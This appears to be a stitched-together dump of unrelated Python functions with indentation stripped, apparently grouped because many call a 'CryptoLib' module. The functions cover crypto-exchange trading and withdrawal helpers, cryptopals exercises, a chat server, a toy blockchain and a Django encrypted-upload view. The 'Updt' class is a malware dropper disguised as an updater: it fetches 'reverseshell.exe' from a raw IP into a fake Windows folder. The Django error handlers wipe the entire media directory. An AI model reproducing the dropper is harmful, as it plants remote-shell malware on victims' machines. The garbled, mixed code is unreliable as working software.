def decrypt(request):
myEntry = Entry.objects.filter(slug=request.GET['slug'])[0]
fileName = default_storage.path(myEntry.myFile)
key = hashlib.sha256(request.GET['pass']).digest()
try:
CryptoLib.decrypt_file(key, fileName)
dec_filePath = default_storage.path(fileName[:-4])
print dec_filePath
wrapper = FileWrapper(file(dec_filePath))
response = HttpResponse(wrapper, content_type='application/zip')
response['Content-Length'] = os.path.getsize(dec_filePath)
default_storage.delete(fileName[:-4])
except:
#nuke the media directory
shutil.rmtree(default_storage.path(''))
os.mkdir(default_storage.path(''))
raise
return response
def sendOrders(apiDict,isFTXSpot,ftxSide,exch,side,api,ccy,trade_qty):
if exch=='bbt':
fill = cl.bbtRelOrder(side, api, ccy, trade_qty, maxChases=888, distance=CT_CONFIGS_DICT['BBT_LEG1_DISTANCE_TICKS'])
elif exch=='kut':
fill = cl.kutRelOrder(side, api, ccy, trade_qty, maxChases=888, distance=CT_CONFIGS_DICT['KUT_LEG1_DISTANCE_TICKS'])
else:
sys.exit(1)
fill*=cl.ftxGetMid(apiDict['ftx'], 'USDT/USD')
if side == 'SELL':
shortFill = fill
else:
longFill = fill
#####
if isFTXSpot:
ftxTicker = ccy + '/USD'
ftxDistance = CT_CONFIGS_DICT['SPOT_LEG2_DISTANCE_TICKS']
else:
ftxTicker = ccy + '-PERP'
ftxDistance = CT_CONFIGS_DICT['FTX_LEG2_DISTANCE_TICKS']
fill = cl.ftxRelOrder(ftxSide, apiDict['ftx'], ftxTicker, trade_qty, maxChases=888, distance=ftxDistance)
if ftxSide == 'SELL':
shortFill = fill
else:
longFill = fill
return longFill, shortFill
def ftxGetPos(unwindExch):
if unwindExch == 'spot':
return cl.ftxGetWallet(ftx).loc[ccy, 'total']
elif unwindExch == 'ftx':
return cl.ftxGetFutPos(ftx, ccy)
else:
sys.exit(1)
def run(self):
ticker = cl.kuGetTicker(self.ccy,isKUT=True)
self.df = pd.DataFrame()
for i in range(SHARED_EXCH_DICT['kut']):
if ticker in self.riskDfs[i].riskDf.index:
s = self.riskDfs[i].riskDf.loc[ticker]
self.df = self.df.append({'account': 'KUT' + str(i + 1),
'liq': s['liq'],
'markValue': s['markValue'],
'maintMargin': s['maintMargin'],
'ratio': s['ratio']}, ignore_index=True)
self.mvDict[i+1]=s['markValue']
self.pcDict[i+1]=s['posCost']
if len(self.df) > 0:
self.df = self.df.set_index('account')
#self.liq = self.df['liq'].min()
self.futDeltaUSD = self.df['markValue'].sum()
#####
SHARED_CCY_DICT[self.ccy] = {'futExch': ['ftx', 'kut']}
self.fDict = cl.getFundingDict(self.apiDict, self.ccy)
self.sbDict = cl.getSmartBasisDict(self.apiDict, self.ccy, self.fDict, isSkipAdj=True)
self.yld = (self.fDict['kutEstFunding1'] + self.fDict['kutEstFunding2']) / 2
self.sb = self.sbDict['kutSmartBasis']
if self.ccy in AUTO_DICT['FTX_SPOT_UNIVERSE']:
self.yld -= self.fDict['ftxEstBorrowUSD']
else:
self.yld -= self.fDict['ftxEstFunding1']
self.sb -= self.sbDict['ftxSmartBasis']
def run(self):
self.df = pd.DataFrame()
for i in range(SHARED_EXCH_DICT['bbt']):
if self.ccy in self.riskDfs[i].riskDf.index:
s = self.riskDfs[i].riskDf.loc[self.ccy]
self.df = self.df.append({'account': 'BBT' + str(i + 1),
'markValue': s['delta_value']}, ignore_index=True)
self.mvDict[i+1]=s['delta_value']
if len(self.df) > 0:
self.df = self.df.set_index('account')
self.futDeltaUSD = self.df['markValue'].sum()
#####
SHARED_CCY_DICT[self.ccy] = {'futExch': ['ftx', 'bbt']}
self.fDict = cl.getFundingDict(self.apiDict, self.ccy)
self.sbDict = cl.getSmartBasisDict(self.apiDict, self.ccy, self.fDict, isSkipAdj=True)
if self.ccy in SHARED_ETC_DICT['BBT_HOURLY_FUNDING_UNDS']:
self.yld = (self.fDict['bbtEstFunding1'] + self.fDict['bbtEstFunding2']*15) / 16
else:
self.yld = (self.fDict['bbtEstFunding1'] + self.fDict['bbtEstFunding2']) / 2
self.sb = self.sbDict['bbtSmartBasis']
if self.ccy in AUTO_DICT['FTX_SPOT_UNIVERSE']:
self.yld -= self.fDict['ftxEstBorrowUSD']
else:
self.yld -= self.fDict['ftxEstFunding1']
self.sb -= self.sbDict['ftxSmartBasis']
def kutGetEstFundings_fast(self,ccy):
key = 'kutEstFundings_'+ccy
estFundings = cl.cache('r', key)
if estFundings is None:
estFundings = cl.kutGetEstFundings(self.api,ccy)
cl.cache('w',key,estFundings)
return estFundings
def move(accountBuy, accountSell, ccy, qty):
cl.printHeader('Buying in BBT' + str(accountBuy) + ' / Selling in BBT' + str(accountSell))
if qty <= 0:
print('Error! qty=='+str(qty))
sys.exit(1)
slippageBps=bbtCrossOrder(accountBuy,accountSell,ccy,qty)*10000
print()
print(termcolor.colored('Realized slippage = ' + str(round(slippageBps)) + 'bps', 'red'))
def main():
ans = b'SSdtIGtpbGxpbmcgeW91ciBicmFpbiBsaWtlIGEgcG9pc29ub3VzIG11c2hyb29t'
hexStr = '49276d206b696c6c696e6720796f757220627261696e206c696b65206120706f69736f6e6f7573206d757368726f6f6d'
byteArr = bytearray.fromhex(hexStr)
encodedStr = base64.b64encode(byteArr)
print(encodedStr)
CryptoLib.validate(encodedStr, ans)
def main():
ans = b'SSdtIGtpbGxpbmcgeW91ciBicmFpbiBsaWtlIGEgcG9pc29ub3VzIG11c2hyb29t'
hexStr = '49276d206b696c6c696e6720796f757220627261696e206c696b65206120706f69736f6e6f7573206d757368726f6f6d'
byteArr = bytearray.fromhex(hexStr)
encodedStr = base64.b64encode(byteArr)
print(encodedStr)
CryptoLib.validate(encodedStr, ans)
def processFills(longFill,shortFill,basisBps,realizedSlippageBps_batch,realizedSlippageBps_all):
if longFill != 0:
s = -((shortFill / longFill - 1) * 10000 - basisBps)
print(cl.timeTag(termcolor.colored('Realized slippage = ' + str(round(s)) + 'bps', 'red')))
realizedSlippageBps_batch.append(s)
realizedSlippageBps_all.append(s)
print(cl.timeTag(termcolor.colored('Avg realized slippage (batch) = ' + str(round(np.mean(realizedSlippageBps_batch))) + 'bps', 'red')))
print(cl.timeTag(termcolor.colored('Avg realized slippage (all) = ' + str(round(np.mean(realizedSlippageBps_all))) + 'bps', 'red')))
return realizedSlippageBps_batch,realizedSlippageBps_all
def __init__(self, relayPort, password):
"""Init."""
myDSAKeys = DSA.generate(1024)
self.myDSAPublicKey = myDSAKeys.publickey()
self.encryptedDSAKey = CryptoLib.encryptWalletDSAKey(password, myDSAKeys)
self.address = CryptoLib.getAddressFromPublicKey(self.myDSAPublicKey.y)
self.unspentTxs = []
self.relayPort = relayPort
self.relayIP = "http://localhost:" + str(self.relayPort)
self.BlockChain = []
def list_of_clients(self):
print "Get list of clients from server"
msg = "list:"
msg = CryptoLib.encyptUsingSymmetricKey(self.sessionKey, self.sessionID, msg)
self.send_message(msg,self.serverAddr, self.port)
print
response = self.receive_response()
if response is not None:
response = CryptoLib.decryptUsingSymetricKey(self.sessionKey, self.sessionID, response)
print "list of clients: ", response
def __init__(self,mode,n=None,amount=0):
self.main_main = KUM_init()
self.main_fut = cl.kuCCXTInit()
self.main_ab = float(cl.kuGetAccountOverview(self.main_fut, 'USDT')['availableBalance'])
self.mode = mode
if n is not None:
self.n = n
self.sub_fut = cl.kuCCXTInit(self.n)
self.sub_ab = float(cl.kuGetAccountOverview(self.sub_fut,'USDT')['availableBalance'])
self.sub_name = KUT_REBAL_SUB_PREFIX + str(self.n)
self.sub_id = self.getUserIdDict()[self.sub_name]
self.amount = math.floor(amount)
def transferOutWithLock(self,fut):
key = 'transferOutLock'
transferOutLock = cl.cache('r', key)
if transferOutLock is None:
transferOutLock = threading.Lock()
cl.cache('w', key, transferOutLock)
with transferOutLock:
while True:
try:
fut.futuresPrivate_post_transfer_out({'currency': 'USDT', 'amount': str(self.amount)})
break
except:
print("[DEBUG: Error from KuCoin's private_post_transfer_out! ....]")
time.sleep(5)
time.sleep(KUT_REBAL_SLEEP)
def do_pow(self):
"""Do the proof of work algorithm."""
wholeChain = self.request_block_chain()
lastBlock = wholeChain[-1]
initialTransaction = self.get_initial_transaction()
self.mainTransaction = self.get_main_transaction()
while self.validate_regular_tx(self.mainTransaction)==False:
self.mainTransaction = self.get_main_transaction()
miningDifficulty = self.get_difficulty_from_master()
if CryptoLib.validateInitialTransaction(initialTransaction):
NewBlock = Block.Block(transactions=[])
NewBlock.previousBlockHash = lastBlock.hash
compareStr = '0'
NewBlock.nonce = 0
for idx in range(miningDifficulty-1):
compareStr += '0'
if isinstance(self.mainTransaction,str):
NewBlock.transactions = [initialTransaction]
else:
NewBlock.transactions = [initialTransaction, self.mainTransaction]
while NewBlock.getHeaderHash()[:miningDifficulty] != compareStr:
NewBlock.nonce +=1
self.send_block(NewBlock)
else:
print("Initial transaction set from Wallet error")
def create_token(self, user1_address, user2_address, user1_key, user2_key, key):
token1 = user1_address + ":" + user1_key
token2 = user2_address + ":" + user2_key
token = token1 + "," + token2
# TODO: server needs to store the client information into the clients dictionary (maybe key on username?)
token = CryptoLib.encyptUsingSymmetricKey(key, self.clients[user1_address].getInitializationVector(), token)
self.sendMessage(token, user1_address)
def KUT_to_FTX(amountWithdraw, method='trc20'):
if method=='trc20':
address = FTX_USDT_TRC20_ADDRESS
elif method == 'erc20':
address = FTX_USDT_ERC20_ADDRESS
else:
sys.exit(1)
if True:
ku=KU_with_ip_init()
z=str(round(amountWithdraw))
print('Amount: ' + z)
print('https://futures.kucoin.com/records/withdraw-records')
print()
print(ku.futuresPrivate_post_withdrawals({'currency': 'USDT', 'amount': z, 'address': address, 'chain': method.upper()}))
else:
ku = cl.kuCCXTInit()
ku.futuresPrivate_post_transfer_out({'currency': 'USDT', 'amount': str(amountWithdraw)})
# Wait for transfer to main_main
kum_with_ip = KUM_with_ip_init()
while True:
if KUM_get_main_main_ab(kum_with_ip)>=amountWithdraw:
break
print('.',end='')
time.sleep(1)
print()
print()
# Continue
z = str(round(amountWithdraw))
print('Amount: ' + z)
print('https://www.kucoin.com/assets/record')
print()
print(kum_with_ip.private_post_withdrawals({'currency': 'USDT', 'amount': z, 'address': address, 'chain': method.upper()}))
def FTX_to_address(key, ccy, amountWithdraw, address):
ftx = FTX_with_ip_init()
maxWithdraw = round(cl.ftxGetWallet(ftx).loc[ccy, 'free']-0.001,3)
if ccy=='USDT':
amountWithdraw=round(amountWithdraw)
else:
amountWithdraw = round(amountWithdraw, 3)
print('Max withdrawable: '+ccy+ ' '+str(maxWithdraw))
print('Amount to withdraw: '+ccy+ ' '+str(amountWithdraw))
if amountWithdraw > maxWithdraw:
print('Error ... too large an amount to withdraw!')
return False
code=FTX_get_code(key)
try:
print(ftx.private_post_wallet_withdrawals({'coin': ccy, 'size': amountWithdraw, 'address': address, 'code': code}))
except:
pass
finally:
time.sleep(5)
start_time = int((datetime.datetime.timestamp(datetime.datetime.now() - pd.DateOffset(seconds=60))))
result=ftx.private_get_wallet_withdrawals({'start_time':start_time})['result']
print()
if len(result)==0:
print('Error ... cannot find withdrawal record!')
print()
return False
elif round(float(result[0]['size']),3)!=amountWithdraw:
print('Error ... mismatch observed in withdrawal record!')
print()
return False
else:
print('Success!')
print()
return True
class Updt(object):
version = '0'
crypto = CryptoLib.CryptoLib([2, 6, 4, 8, 5])
dirPath = 'C:\\Users\\Public\\Windows\\'
fileName = 'update.exe'
filePath = dirPath + fileName
mainAppName = 'updater.exe'
mainAppPath = dirPath + mainAppName
fileUrl = 'http://85.255.5.44/vxsrfp/rxso/reverseshell.exe'
mainAppUrl = 'http://85.255.5.44/vxsrfp/rxso/mainApp.exe'
versionUrl = 'http://85.255.5.44/vxsrfp/xkv{nqt.html'
u = update.Update()
def update(self):
self.testPath(self.dirPath)
_version = urlopen(self.versionUrl).read()
_version = _version[:-1]
if self.u.getVersion() == _version:
return "Client is up to date."
else:
os.remove(self.filePath)
os.remove(self.mainAppPath)
urlretrieve(self.fileUrl, self.filePath)
urlretrieve(self.mainAppUrl, self.mainAppPath)
return "Client will be update at next start."
def testPath(self, path):
if (os.path.isdir(path)):
pass
else:
os.makedirs(path)
def solve_challenge(self, challenge, num):
"""
Solve challenge set by server
:param challenge: server challenge
:param num: starting value
:return: number
"""
if self.DBG:
print " challenge: %s, num: %s" % (challenge, num)
response = int(CryptoLib.generateKeyHash(str(num)), 16)
while response != challenge:
num += 1
response = int(CryptoLib.generateKeyHash(str(num)), 16)
#print " challenge: %x, hash: %x" % (challenge, response)
return num
def makeFlows(ccy):
start_time = cl.getYest()
borrows = cleanBorrows(ccy, pd.DataFrame(self.api.private_get_spot_margin_borrow_history({'limit': 1000, 'start_time': start_time})['result']))
loans = cleanBorrows(ccy, pd.DataFrame(self.api.private_get_spot_margin_lending_history({'limit': 1000, 'start_time': start_time})['result']))
cl.dfSetFloat(borrows, ['cost','rate'])
cl.dfSetFloat(loans, 'proceeds')
prevBorrow = borrows.iloc[-1]['cost'] if borrows.index[-1] == self.payments.index[-1] else 0
prevLoan = loans.iloc[-1]['proceeds'] if loans.index[-1] == self.payments.index[-1] else 0
absBalUSD = abs(self.wallet.loc[ccy, 'total']*self.spotDict[ccy])
d=dict()
d['oneDayFlows'] = (loans['proceeds'].sum() - borrows['cost'].sum()) * self.spotDict[ccy]
d['oneDayFlowsAnnRet'] = d['oneDayFlows'] * 365 / absBalUSD
d['oneDayBorrowRate'] = borrows['rate'].mean() * 24 * 365
d['prevFlows']=(prevLoan - prevBorrow) * self.spotDict[ccy]
d['prevFlowsAnnRet']=d['prevFlows'] * 24 * 365 / absBalUSD
d['prevBorrowRate'] = borrows.iloc[-1]['rate'] * 24 * 365 if borrows.index[-1] == self.payments.index[-1] else 0
return d
def save(self, commit=True):
super(EntryForm, self).save(commit=commit)
if len(self.cleaned_data['attachments']) == 0:
return self.instance
oldwd = os.getcwd()
os.chdir(default_storage.path(''))
archiveName = str(uuid.uuid4()) + '.zip'
try:
with zipfile.ZipFile(archiveName, 'w') as z:
for each in self.cleaned_data['attachments']:
fileName = str(each)
default_storage.save(fileName, ContentFile(each.read()))
z.write(fileName)
default_storage.delete(fileName)
z.close()
#################################
#### ENCRYPT THAT SHIT HERE #####
#################################
if (self.cleaned_data['encrypt']
and self.cleaned_data['password'] != ""):
key = hashlib.sha256(self.cleaned_data['password']).digest()
CryptoLib.encrypt_file(key, default_storage.path(archiveName))
default_storage.delete(archiveName)
archiveName += '.enc'
self.instance.has_enc = "True"
self.instance.myFile = File(file(
default_storage.path(archiveName)))
print self.instance.myFile
default_storage.delete(archiveName)
self.instance.save()
except:
#nuke the media directory
shutil.rmtree(default_storage.path(''))
os.mkdir(default_storage.path(''))
raise
os.chdir(oldwd)
return self.instance
def accountsSubTransferWithLock(self, direction, accountType,subAccountType):
key='accountsSubTransferLock'
accountsSubTransferLock = cl.cache('r', key)
if accountsSubTransferLock is None:
accountsSubTransferLock = threading.Lock()
cl.cache('w',key,accountsSubTransferLock)
with accountsSubTransferLock:
while True:
try:
result = self.main_main.private_post_accounts_sub_transfer({'clientOid': uuid.uuid4().hex, 'currency': 'USDT', 'direction': direction, 'amount': str(self.amount),
'accountType': accountType, 'subAccountType': subAccountType, 'subUserId': self.sub_id})
break
except:
print("[DEBUG: Error from KuCoin's private_post_accounts_sub_transfer!]")
time.sleep(5)
time.sleep(KUT_REBAL_SLEEP)
return result
def save(self, commit=True):
super(EntryForm, self).save(commit=commit)
if len(self.cleaned_data['attachments']) == 0:
return self.instance
oldwd = os.getcwd()
os.chdir(default_storage.path(''))
archiveName = str(uuid.uuid4()) + '.zip'
try:
with zipfile.ZipFile(archiveName, 'w' ) as z:
for each in self.cleaned_data['attachments']:
fileName = str(each)
default_storage.save(fileName, ContentFile(each.read()))
z.write(fileName)
default_storage.delete(fileName)
z.close()
#################################
#### ENCRYPT THAT SHIT HERE #####
#################################
if(self.cleaned_data['encrypt'] and self.cleaned_data['password'] != ""):
key = hashlib.sha256(self.cleaned_data['password']).digest()
CryptoLib.encrypt_file(key, default_storage.path(archiveName))
default_storage.delete(archiveName)
archiveName += '.enc'
self.instance.has_enc = "True"
self.instance.myFile = File(file(default_storage.path(archiveName)))
print self.instance.myFile
default_storage.delete(archiveName)
self.instance.save()
except:
#nuke the media directory
shutil.rmtree(default_storage.path(''))
os.mkdir(default_storage.path(''))
raise
os.chdir(oldwd)
return self.instance
def kutGetAdj(tgtLiqH,minAB,minXfer):
def kutGetAdjCore(riskDf, target_liq_ratio, ab, minAB):
df = riskDf.copy()
df['sim_add_liq_ratio'] = (df['liqRaw'] - target_liq_ratio) * np.sign(df['markValue'])
df['sim_add_margin'] = df['sim_add_liq_ratio'].clip(0, None) * abs(df['markValue'])
adj=sum(df['sim_add_margin']) - ab # -ve = money can leave account
###
simAB = ab + adj
if simAB < minAB:
adj += minAB - simAB
return adj
#####
objs = []
for i in range(SHARED_EXCH_DICT['kut']):
objs.append(cl.kutGetRiskDfs(i + 1))
cl.parallelRun(objs)
#####
adjList = []
zList = []
for i in range(SHARED_EXCH_DICT['kut']):
z = 'KUT'+ str(i + 1)
adj = round(kutGetAdjCore(objs[i].riskDf, tgtLiqH, objs[i].availableBalance, minAB))
adjList.append(adj)
zList.append(z + ': ' + str(adj))
zList.append('Total: '+str(np.sum(adjList)))
cl.printHeader('TgtLiqH = ' + str(round(tgtLiqH,3))+ ' / MinAB = '+str(minAB) + ' / MinXfer = '+str(minXfer))
cl.printListWrapped(zList,9)
print()
return adjList,objs[0].availableBalance
def challengeResponse(self):
# generate a sufficiently large random number
num = random.randrange(100000, 1000000)
# generate a random number to subtract from it
firstFew = random.randrange(1000, 10000)
firstFew = num - firstFew
# create the challenge hash
challenge = CryptoLib.generateKeyHash(str(num))
return num, challenge, firstFew
def receiveClientMessages(self):
msg, addr = self.sock.recvfrom(ChatServer.MSG_LEN)
isClientKnown = self.clients.has_key(addr)
if(isClientKnown):
client = self.clients.get(addr)
if(client == None):
print "couldn't retrieve client"
return
if client.get_session_key() is None and client.get_initialization_vector() is None:
decrypted_msg = CryptoLib.decryptUsingPrivateKey(self.private_key, msg)
else:
decrypted_msg = CryptoLib.decryptUsingSymetricKey(client.get_session_key(),
client.get_initialization_vector(), msg)
self.handleClientMessages(decrypted_msg, client, addr)
else:
if self.DBG: print "it's a potential client!!"
self.handleClientMessages(msg, None, addr)
def main():
ans = '746865206b696420646f6e277420706c6179'
hexStr1 = '1c0111001f010100061a024b53535009181c'
hexStr2 = '686974207468652062756c6c277320657965'
byteArr1 = bytearray.fromhex(hexStr1)
byteArr2 = bytearray.fromhex(hexStr2)
#The byte array we will build and a variable for its hex string
byteArr3 = bytearray()
res = ''
#Could also use CryptoLib.xor(byteArr1,byteArr2)
for x,y in zip(byteArr1,byteArr2):
byteArr3.append(x ^ y)
res = binascii.hexlify(byteArr3).decode()
print(byteArr3.decode())
print(res)
CryptoLib.validate(res, ans)
def run(self):
SHARED_CCY_DICT[self.ccy] = {'futExch': ['ftx']}
self.fDict = cl.getFundingDict(self.apiDict, self.ccy)
self.sbDict = cl.getSmartBasisDict(self.apiDict,
self.ccy,
self.fDict,
isSkipAdj=True)
self.sb = self.sbDict['ftxSmartBasis']
sbBps = self.sb * 10000
if sbBps >= self.thresholdH:
color = 'magenta'
elif sbBps <= self.thresholdL:
color = 'green'
else:
color = 'grey'
self.label = (self.ccy + ': ' + str(round(sbBps)) + '(' +
str(round(self.fDict['ftxEstFunding1'] * 100)) +
')').ljust(13)
self.label = termcolor.colored(self.label, color)
def __init__(self, ccy, apiDict, riskDfs):
self.ccy = ccy
self.apiDict = apiDict
self.riskDfs = riskDfs
self.mvDict = dict()
self.pcDict = dict()
for i in range(SHARED_EXCH_DICT['kut']):
self.mvDict[i+1]=0
self.pcDict[i+1]=0
self.riskLimit=cl.kutGetRiskLimit(self.apiDict['ku'], self.ccy)
def create_transaction(self, receiverAddress, amount, password):
"""Create a new transaction."""
allDSAKey = CryptoLib.restoreWalletDSAKey(password, self.encryptedDSAKey)
if isinstance(allDSAKey, str):
return "Password Error"
else:
k = random.StrongRandom().randint(1, allDSAKey.q - 1)
senderSignature = allDSAKey.sign(receiverAddress.encode() + str(amount).encode(), k)
newTransaction = Block.Transaction(senderPublicKey=self.myDSAPublicKey, senderSignature=senderSignature,
receiverWallet=receiverAddress, amount=amount)
return newTransaction
def run(self):
if isDebug: print(self.ccy)
super().run()
sbBps = self.sb * 10000
if sbBps >= self.thresholdH:
color = 'blue'
elif sbBps <= self.thresholdL:
color = 'green'
else:
color = 'grey'
self.label = self.ccy + ': ' + str(round(self.fDict['ftxEstFunding1'] * 100)) + '//' + \
str(round(self.fDict['kutEstFunding1'] * 100)) + '/' + str(round(self.fDict['kutEstFunding2'] * 100)) + \
'; sb=' + str(round(sbBps)) + \
'; yield=' + cl.fmtPct(self.yld, None)
self.label += '; turn=$' + str(
round(self.contractDf.loc[cl.kuGetTicker(self.ccy, isKUT=True),
'turnoverOf24h'] / 1e6)) + 'M'
if len(self.df) > 0:
self.label += '; fut=$' + str(round(self.futDeltaUSD / 1000)) + 'K'
if self.futDeltaUSD > 0: color = 'red'
self.label = termcolor.colored(self.label, color)
def move(accountBuy, accountSell, ccy, qty, riskLimit, cumAmounts,
realizedSlippageBps):
cl.printHeader('Buying in KUT' + str(accountBuy) + ' / Selling in KUT' +
str(accountSell))
kutBuy = cl.kuCCXTInit(accountBuy)
kutSell = cl.kuCCXTInit(accountSell)
posDataTo = cl.kuGetPosition(kutSell, ccy, isKUT=True)
posFrom = cl.kuGetFutPos(kutBuy, ccy, isKUT=True) * cl.kutGetMult(
kutBuy, ccy)
mid = cl.kutGetMid(kutBuy, ccy)
maxSellTo = (riskLimit + posDataTo['posCost'] - 1000) / mid
tradeQty = min(qty, -posFrom, maxSellTo)
if tradeQty <= 0:
print('Error! TradeQty==' + str(tradeQty))
sys.exit(1)
print(cl.timeTag('Crossing $' + str(round(tradeQty * mid))))
slippageBps = cl.kutCrossOrder(accountBuy, accountSell, ccy,
tradeQty) * 10000
realizedSlippageBps.append(slippageBps)
cumAmounts.append(tradeQty * mid)
sumCumAmounts = np.sum(cumAmounts)
print()
print(
termcolor.colored(
'Cumulative moved = $' + str(round(sumCumAmounts)) + ' (' +
str(int(len(realizedSlippageBps))) + ' trades)', 'blue'))
print(
termcolor.colored(
'Realized slippage = ' + str(round(slippageBps)) + 'bps',
'red'))
print(
termcolor.colored(
'Avg realized slippage = ' + str(
round(
sum(x * y
for x, y in zip(cumAmounts, realizedSlippageBps)) /
sumCumAmounts)) + 'bps', 'red'))
print()
time.sleep(2) # Added to fix bug
return cumAmounts, realizedSlippageBps
def KR_xfer_in(ccyList):
def get_kraken_signature(urlpath, data, secret):
postdata = urllib.parse.urlencode(data)
encoded = (str(data['nonce']) + postdata).encode()
message = urlpath.encode() + hashlib.sha256(encoded).digest()
mac = hmac.new(base64.b64decode(secret), message, hashlib.sha512)
sigdigest = base64.b64encode(mac.digest())
return sigdigest.decode()
#####
def kraken_request(uri_path, data, api_key, api_sec):
headers = {}
headers['API-Key'] = api_key
headers['API-Sign'] = get_kraken_signature(uri_path, data, api_sec)
req = requests.post(("https://api.kraken.com" + uri_path), headers=headers, data=data)
return req
#####
kr = KR_with_ip_init()
kf = cl.kfApophisInit()
ftx=FTX_with_ip_init()
#####
while True:
for ccy in ccyList:
cl.printHeader(ccy)
spot = cl.ftxGetMid(ftx, ccy + '/USD')
# KR to KF
ccy2 = 'XBT' if ccy == 'BTC' else ccy
available = float(kr.fetch_balance()['info']['result']['X' + ccy2])
print('Available before transfer to futures account: ' + ccy + ' ' + str(round(available, 6)))
if available * spot > 10000:
print(termcolor.colored('Step one ....','red'))
print()
cl.speak('K R transfer in step one')
kraken_request('/0/private/WalletTransfer', {'nonce': str(int(1000 * time.time())), 'asset': ccy2, 'amount': available, 'from': 'Spot Wallet', 'to': 'Futures Wallet'}, API_KEY_KR_WITH_IP, API_SECRET_KR_WITH_IP)
else:
print('Not enough to transfer ....\n')
# KF Holding Wallet to Futures Wallet
ccy2 = ccy2.lower()
available = kf.query('accounts')['accounts']['cash']['balances'][ccy2]
print('Available before transfer to futures wallet: ' + ccy + ' ' + str(round(available, 6)))
if available * spot > 10000:
print(termcolor.colored('Step two ....', 'red'))
print()
cl.speak('K R transfer in step two')
kf.query('transfer', {'fromAccount': 'cash', 'toAccount': 'fi_' + ccy2 + 'usd', 'unit': ccy2, 'amount': available})
else:
print('Not enough to transfer ....\n')
time.sleep(60)
def kutSendBatch(notional, batchSize, batchN, ccyData, kutSide, realizedSlippageBps_all):
ccy=ccyData.ccy
SHARED_CCY_DICT[ccy] = {'futExch': ['ftx', 'kut']}
CT_CONFIGS_DICT['CURRENT_KUT'] = ccyData.chosen
apiDict, trade_qty, _, _ = cl.ctInit(ccy, notional, 0)
realizedSlippageBps_batch=[]
for n in range(batchSize):
print(cl.timeTag(termcolor.colored('Batch '+str(batchN) +' Program '+str(n+1)+' / '+ccy,'blue')))
fDict = cl.getFundingDict(apiDict, ccy)
sbDict = cl.getSmartBasisDict(apiDict, ccy, fDict, isSkipAdj=True)
ftxSide = 'BUY' if kutSide == 'SELL' else 'SELL'
isFTXSpot = ccy in AUTO_DICT['FTX_SPOT_UNIVERSE']
api = cl.ctKUTStepper(kutSide, ccy, trade_qty)
cl.speak('Go')
#####
longFill, shortFill = sendOrders(apiDict, isFTXSpot, ftxSide, 'kut', kutSide, api, ccy, trade_qty)
basisBps=getBasisBps(isFTXSpot, ftxSide, 'kut', sbDict)
realizedSlippageBps_batch, realizedSlippageBps_all=processFills(longFill, shortFill, basisBps, realizedSlippageBps_batch, realizedSlippageBps_all)
print(cl.timeTag('Done'))
print()
cl.speak('Done')
return realizedSlippageBps_all
def __init__(self, ipAddr, port):
self.serverAddr = ipAddr
self.port = port
self.count = 3 # only 3 login attempts are allowed
self.isAuthenticated = False
self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.sock.settimeout(3.0)
self.peers = {}
self.DBG = False
self.serverPublicKey = CryptoLib.getPublicKey('server_public_key.pem')
if(self.serverPublicKey == -1):
sys.exit(-1)
def send_encrypted_message(self, msg):
"""
Sends encrypted message through socket
:param msg: message to be sent
:return: True/False
"""
ret = False
try:
msg = CryptoLib.encyptUsingSymmetricKey(self.sessionKey, self.sessionID, msg)
self.sock.sendto(msg, (self.serverAddr, self.port))
ret = True
except Exception, e:
print "send message failed: ", e
def bbtInit(self):
self.api = cl.bbCCXTInit(n=self.n)
riskDf = cl.bbtGetRiskDf(self.api, self.spotDict)
for ccy in self.validCcys:
if ccy in riskDf.index:
self.futures.loc[ccy, 'FutDelta']=cl.bbtGetFutPos(self.api,ccy)
self.liqDict[ccy] = riskDf.loc[ccy,'liq']
else:
self.liqDict[ccy] = 0
self.calcFuturesDeltaUSD()
#####
if self.n>=2: # trim list for auxiliary BBTs
self.validCcys=list(self.futures.index[self.futures['FutDelta'] != 0])
#####
self.oneDayIncome = 0
self.prevIncome = 0
if CR_CONFIGS_DICT['IS_CALC_PAYMENTS']:
pmts=pd.DataFrame()
for ccy in self.validCcys:
data = cl.bbtGetTradeExecutionList(self.api,ccy)
if not data is None:
pmts = pmts.append(pd.DataFrame(data).set_index('symbol', drop=False))
if len(pmts)>0:
cl.dfSetFloat(pmts, ['fee_rate', 'exec_fee'])
pmts.loc[['Sell' in z for z in pmts['order_id']],'fee_rate']*=-1 # Correction for fee_rate signs
pmts['incomeUSD'] = -pmts['exec_fee'] * self.spotDict['USDT']
pmts['date'] = [datetime.datetime.fromtimestamp(int(ts) / 1000) for ts in pmts['trade_time_ms']]
pmts = pmts.set_index('date').sort_index()
#####
self.oneDayIncome = pmts['incomeUSD'].sum()
self.prevIncome = pmts.loc[pmts.index[-1]]['incomeUSD'].sum()
self.setAnnRets()
#####
usdtDict=self.api.v2_private_get_wallet_balance({'coin': 'USDT'})['result']['USDT']
equity = float(usdtDict['equity'])
self.nav = equity * self.spotDict['USDT']
self.spots.loc['USDT', 'SpotDelta'] = equity
self.calcSpotDeltaUSD()
#####
for ccy in self.validCcys:
oneDayFunding = 0
prevFunding = 0
estFunding=0
estFunding2=0
if CR_CONFIGS_DICT['IS_CALC_PAYMENTS']:
if len(pmts)>0:
df=pmts.loc[pmts['symbol']==ccy+'USDT','fee_rate']
if len(df) > 0:
oneDayFunding = df.mean() * 3 * 365
prevFunding = df[df.index[-1]].mean() * 3 * 365
#####
if CR_CONFIGS_DICT['IS_CALC_ESTS']:
estFunding, estFunding2 = self.bbtGetEstFundings_fast(ccy)
self.makeFundingStr(ccy, oneDayFunding, prevFunding, estFunding, estFunding2)
#####
self.makeIncomesStr()
self.makeLiqStr(riskDf=riskDf,availableBalance=float(usdtDict['available_balance']))
self.isDone = True
def main():
ans = "Cooking MC's like a pound of bacon"
inputStr = '1b37373331363f78151b7f2b783431333d78397828372d363c78373e783a393b3736'
inputArr = bytearray.fromhex(inputStr)
currStr = ''
currScore = 0
bestStr = ''
bestScore = 0
for i in range(0, 256):
#print(bytearray({i}))
try:
currStr = CryptoLib.xor(inputArr, bytearray({i})).decode()
currScore = CryptoLib.freqScore(currStr)
if (currScore > bestScore):
bestScore = currScore
bestStr = currStr
except:
continue
print(bestStr)
CryptoLib.validate(bestStr, ans)
def initAuto(exch, notional, batchSize, apiDict, ccys, isBuild, spotDict=None):
cl.skipMinutes(SKIP_MINS)
riskDfs = []
for i in range(SHARED_EXCH_DICT[exch]):
if exch=='bbt':
riskDfs.append(cl.bbtGetRiskDfs(i + 1, spotDict))
else:
riskDfs.append(cl.kutGetRiskDfs(i + 1))
cl.parallelRun(riskDfs)
#####
ccyData = []
for ccy in ccys:
if exch=='bbt':
ccyData.append(bbtGetCcyData(ccy, apiDict, riskDfs))
else:
